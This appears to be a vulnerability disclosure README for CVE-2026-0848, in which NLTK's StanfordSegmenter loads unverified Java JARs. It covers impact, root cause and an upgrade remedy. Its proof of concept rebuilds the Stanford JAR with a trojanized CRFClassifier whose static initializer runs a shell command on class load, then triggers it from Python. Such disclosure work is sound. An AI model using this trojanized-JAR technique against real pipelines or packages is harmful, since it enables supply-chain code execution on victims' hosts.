CVE-2026-0848 — NLTK StanfordSegmenter: Arbitrary Code Execution via Untrusted JAR Loading

Overview

Description

nltk.tokenize.StanfordSegmenter dynamically loads external Java .jar files via subprocess without performing any integrity verification, signature checking, or sandboxing. The class accepts fully attacker-controlled parameters including path_to_jar, path_to_model, path_to_dict, and java_class, and passes them directly to a java -cp invocation.

If an attacker can supply or replace the JAR file — through a poisoned model download, a man-in-the-middle package swap, dependency poisoning, or a corrupted release mirror — arbitrary Java bytecode executes at class-load time via the JVM's static initializer mechanism. This constitutes a supply-chain Remote Code Execution vulnerability and fully escapes the Python runtime.

Affected Components

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Impact

Successful exploitation grants an attacker full control over the system running the NLTK segmentation process:

• Arbitrary Java code execution — Any bytecode embedded in the malicious JAR runs with the privileges of the Python/Java process
• Python runtime escape — Execution moves into the JVM, bypassing Python-level sandboxing entirely
• OS-level command execution — Attackers can invoke Runtime.getRuntime().exec() or ProcessBuilder to run arbitrary shell commands
• Data theft and modification — Access to all files, environment variables, API keys, and secrets readable by the process
• Full environment compromise — In CI/CD, production NLP pipelines, or server environments, a single malicious JAR leads to complete host takeover

High-Risk Deployment Scenarios

This vulnerability affects any NLP workflow using StanfordSegmenter, including chatbots, LLM preprocessing pipelines, dataset segmentation, document classification, and production inference services.

Proof of Concept

This information is provided for educational and defensive purposes only. Do not test against systems you do not own or have explicit authorization to test.

Step 1 — Replace Core Classifier with Malicious Java Class

cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

Step 2 — Build the Malicious JAR

mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

Step 3 — Trigger via NLTK

# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

Output:

[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

Confirm RCE:

ls /tmp | grep pwned_hijack
# pwned_hijack

Root Cause

The vulnerability exists across two files:

stanford_segmenter.py — The StanfordSegmenter class constructor accepts path_to_jar, path_to_model, path_to_dict, and java_class as plain string arguments and forwards them directly to the Java execution layer without performing any of the following:

• Path allowlist or trusted-directory enforcement
• SHA-256 or cryptographic signature verification of the JAR
• Validation of the java_class parameter against a known-safe set of class names

internals.py — The java() helper constructs and launches a subprocess.Popen() call with the user-supplied classpath. The JVM immediately loads all classes in the provided JAR, executing any static initializer blocks before the application logic runs. There is no sandbox, no integrity gate, and no mechanism to prevent execution of injected bytecode.

Fix

The vulnerability has been fully resolved in the upstream NLTK repository.

Upgrade to a patched version of NLTK as soon as it is available on PyPI.

Remediation

Upgrade via pip:

pip install --upgrade nltk

Verify installed version:

python -c "import nltk; print(nltk.__version__)"

Timeline

References

Disclaimer

This repository documents CVE-2026-0848 strictly for educational, research, and defensive security purposes. The proof-of-concept code and technical details are provided to assist developers, security engineers, and system administrators in understanding, assessing, and remediating this vulnerability.

Any use of this information to access or compromise systems without explicit authorization is illegal and unethical. The author assumes no liability for misuse of the information contained herein.

Contributors: ketanHub